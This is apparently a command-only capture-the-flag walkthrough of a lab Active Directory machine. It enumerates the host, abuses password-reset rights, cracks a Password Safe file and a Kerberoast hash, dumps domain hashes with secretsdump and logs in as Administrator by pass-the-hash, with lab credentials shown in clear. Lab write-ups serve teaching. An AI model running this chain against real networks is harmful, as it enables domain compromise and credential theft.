Administrator

Initial Nmap Enumeration

nmap -p- -sVC 10.129.76.49

Get Hostname

nxc smb 10.129.76.49

Edit /etc/hosts

cat /etc/hosts

Save Given Credentials

cat credentials.txt

SMB & WINRM Login with Credentials

nxc smb 10.129.76.49 -u olivia -p ichliebedich
nxc winrm 10.129.76.49 -u olivia -p ichliebedich

Get WinRM Shell

evil-winrm -i 10.129.76.49 -u olivia -p ichliebedich

Enumerate Local Users via WinRM

net users

BloodHound Enumeration

bloodhound-python -c all -d administrator.htb -u olivia -p ichliebedich -ns 10.129.76.49

Change Michael Password

net rpc password "michael" "password" -U "administrator.htb"/"olivia"%"ichliebedich" -S "10.129.76.49"

Change Benjamin Password

net rpc password "benjamin" "password" -U "administrator.htb"/"michael"%"password" -S "10.129.76.49"

Verify Password Changes

nxc smb 10.129.76.49 -u michael -p password
nxc smb 10.129.76.49 -u benjamin -p password

FTP Login & Retrieve Backup File

ftp 10.129.76.49
get Backup.psafe3

Crack psafe3 File

hashcat Backup.psafe3 -m 5200 /usr/share/wordlists/rockyou.txt

Password Safe

SMB Login with Emily

nxc smb 10.129.76.49 -u emily -p UXLCI5iETUsIBoFVTj8yQFKoHjXmb

BloodHound

Sync Time with DC

sudo ntpdate 10.129.76.49

Kerberoast Attack

python3 targetedKerberoast.py -d 'administrator.htb' -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'

Crack Kerberoast Hash

hashcat hashes.krb /usr/share/wordlists/rockyou.txt

SMB Login with Ethan

nxc smb 10.129.76.49 -u ethan -p limpbizkit

Dump Hashes with Secretsdump

secretsdump.py administrator.htb/ethan@10.129.76.49

Get Root via Evil-WinRM with Administrator Hash

evil-winrm -i 10.129.76.49 -u administrator -H 3dc553ce4b9fd20bd016e098d2d2fd2e
cat C:\users\Administrator\Desktop\root.txt

Get User Flag

cat C:\users\emily\Desktop\user.txt